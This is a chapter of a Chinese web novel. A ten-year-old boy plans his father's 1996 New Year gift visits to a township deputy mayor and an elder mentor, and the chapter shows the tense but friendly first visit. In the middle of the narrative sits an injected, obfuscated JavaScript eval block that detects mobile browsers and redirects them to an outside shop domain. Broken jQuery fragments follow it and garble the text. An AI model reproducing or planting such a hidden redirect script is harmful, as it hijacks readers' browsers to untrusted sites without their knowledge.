刚踏出沈明远的办公室，外头穿堂风猛地灌过来。
后背一身闷出来的热汗，眨眼就被吹得冰凉，紧紧贴在衬衣上，凉得人脊背发紧。
手里那张便签纸，被他攥了松、松了攥，反复好几遍。薄薄一张纸，边角揉得起毛，上面的住址每个字都认得，可真要琢磨晚上怎么登门、怎么送礼，心里一点底都没有，沉甸甸压得慌。
下楼的时候腿肚子有点飘，踩着二八大杠蹬了好几下，才稳住车头找着力道。风呼呼刮耳朵，满脑子就一件事——
晚上见领导，到底带什么？
镇上人情深浅、送礼分寸，他干了八年基层，埋头干活行，这种门面人情，始终笨手笨脚。
车还没在超市门口停稳，叶舟就扯开嗓子喊。
“子安！叶子安！赶紧出来！”
离过年只剩三天，街上赶集的人挤得水泄不通。超市里人头攒动，吵吵嚷嚷全是买年货的街坊。宁蕙心守在收银台，手指拨得算盘噼啪乱响，面前一堆零钞，压根抬不开头。
十岁的叶子安踩在小板凳上，正踮着腰往高处摆饼干糖果，小裤腿沾了一圈灰，额头上还冒着细汗。听见他爸喊，立马探个脑袋出来，一脸无奈。
“爸，我忙着上货呢，走不开啊。”
“别上了！”
叶舟直接伸手，一把拽住他的手腕，不由分说就把人往下拉。
“跟我回家，大事，只有你能帮我想主意。”
“你疯啦？”宁蕙心终于抬头，瞪着他，“店里忙成这样，你瞎捣乱！”
叶舟顾不上解释，拽着儿子快步回小院。把门一关，隔绝外头的喧闹，他一屁股坐在椅子上，把那张揉皱的便签纸“啪”拍在桌上。
“沈副镇长给我地址了，让我晚上过去。第一次上门，我实在不知道送啥，怕重了刺眼，轻了失礼。你帮我琢磨琢磨。”
叶子安站在桌边，小手蹭了蹭裤腿，眨了眨眼。明明才十岁，眼神却比成年人透亮得多。
他没像大人一样长篇大论，就简简单单、小孩语气，一句一句掰明白。
“爸，现在是九六年，你别搞太贵重的。”
叶舟一愣：“咋说？”
“镇上干部工资才几百块。”叶子安条理清清楚楚，小孩子嘴里说出来，格外震撼，“你拎两瓶五粮液，半个月薪水出去，太扎眼了，领导不敢收，还会觉得你功利太重。”
他伸出细细的三根手指头，说得干脆利落，完全不像小孩随口瞎猜。
“第一，超市拿一瓶五粮液、一条红塔山。单瓶撑场面，不越界，镇上过年登门，这是最稳的规格，人人都这么来，不突兀。”
“第二，去集市买一篮水果，苹果、橘子、香蕉，凑齐样子好看，礼数要周全。”
“第三，最重要的。”
叶子安抬眼，认真看着他爸。
“去村里买一扇新鲜土猪排骨。就说是外公家今天杀猪，自家养的，拿来给领导尝尝鲜。”
叶舟听得发懵：“烟酒是贵重东西，排骨不值钱，为啥最重要？”
十岁的孩子，轻轻一句话，点透了成年人八年没看懂的官场人情。
“爸。”
“烟酒是所有人都带的，是客套。排骨是家里的、新鲜的、土味。”
“别人都是下属送礼，你是晚辈拿自家东西串门。”
“心意比价钱贵。”
叶舟当场怔住。
是啊。镇上家家户户过年都杀猪，鲜肉年货，是乡里最实在的人情。太贵重的酒，是交易。自家的鲜肉，是走动。
叶子安继续随口叮嘱，像随口做作业算数一样自然。
“还有，晚上去完沈叔叔家，顺道去曹爷爷家。曹爷爷把本子都给你了，是真心带你，不能凉人家的心。他家不用贵的，一条映月烟、一瓶绵竹大曲，加一篮水果就行，礼数到了就好看。”
“明天上班，给镇长带两罐茶叶，随口道谢，不多送。不熟的人，多一步都是错。”
句句简单，句句精准。一个十岁小孩，把一整套乡镇过年送礼人情、轻重分寸，安排得滴水不漏。
叶舟看着自家儿子，心里又惊又叹。自己半辈子老实巴交，遇事慌手慌脚，孩子小小年纪，心思透亮、遇事不慌。
“好！就按我儿子说的来！”
一下午，叶舟按着孩子的安排，挨个置办齐全。宁蕙心看着家里好酒鲜肉往外拿，心疼得直咂嘴，不停念叨太破费。
叶子安一边理货，一边小声宽慰他妈，还是小孩的语气，却格外通透。
“妈，我爸刚提副主任，正是站稳脚的时候。沈叔叔愿意带他，咱们人情跟上，不是浪费，是过日子的底气。”
宁蕙心叹了口气，道理懂，就是心疼钱。
夜里七点半，天彻底黑透。冬日的夜晚冷得刺骨，街上路灯昏黄微弱。叶舟骑着二八大杠，后座绑得整整齐齐：一瓶五粮液、一条红塔山、满满一篮时令水果，还有一大扇红白鲜亮的土猪肋排。
骑车到干部家属楼下，他停稳车，站在漆黑楼道里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17635692|206572||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
静了半天。深吸几口气，压下心里的局促，才抬手敲门。
三下轻响。
门一开，围着围裙的中年妇人探出头，是沈明远的爱人兰英。
“嫂子您好，我是叶舟，过来给领导拜个早年。”
“哎哟小叶，快进来快进来！”兰英特别热络，伸手接东西，目光扫过那瓶五粮液，顿了一下，脸上笑意不变，“老沈总在家夸你能干踏实！”
她转头朝里屋喊：“老沈！叶舟来啦！”
话音刚落，书房门开。沈明远穿着洗得发白的旧毛衣走出来，目光越过叶舟，直接落在礼品堆上。当看见那瓶高档白酒时，他脸上的笑意瞬间淡了。
客厅里的空气一下子静下来，温度骤然往下掉。沈明远语气不重，却带着明显的严肃。
“叶舟，你这是干什么？”
就这一句。
叶舟心里咯噔一下，后背瞬间冒汗，手脚都不知道往哪放，彻底慌了。他嘴笨，不会圆滑说辞，只能老老实实、急急忙忙解释。
“领导！我、我不懂规矩！第一次登门！酒是家里超市的货，没挣差价！最重要的是这排骨！我老丈人家今天刚杀的土猪，自家养的，纯新鲜！我就是想拿点家里的东西，让您和嫂子尝尝鲜，真没有别的心思！”
慌乱、真诚、笨拙。一点不装，一点不演，就是老实人第一次送礼的手足无措。
沈明远看着他急得脸红语无伦次的样子，沉默几秒。
下一秒，忽然笑了。
笑声一出来，满屋紧绷的气氛瞬间散开。他上前拍了拍叶舟的肩膀，眼神松了，带着认可。
“你这老实人，吓我一跳。家里的鲜肉，我收下。酒水下次不许这么贵重。好好干工作，比什么礼都强。”
叶舟悬着的一颗心，轰然落地。整个人长长松了一口气，后背汗湿一片。
他不敢多留，连忙客气告辞。
“不打扰您一家人休息，提前祝您新年顺遂，往后工作我一定踏实肯干，不给您丢脸。”
沈明远亲自送到门口。
门关上的一刻，楼道冷风灌进来，叶舟才发觉腿还是软的。这短短十几分钟，比他跑一个月乡下排查都煎熬。
他回头望了一眼楼上亮着暖灯的窗户，调转车头，朝着老巷曹志海家骑去。
夜色漆黑，手电一束微光打在凹凸的老路上。冷风清冽，街巷家家户户飘着炖肉香味，远处零星响起鞭炮声。
年，真的近了。人情，也真的在一来一往里，慢慢扎稳了根。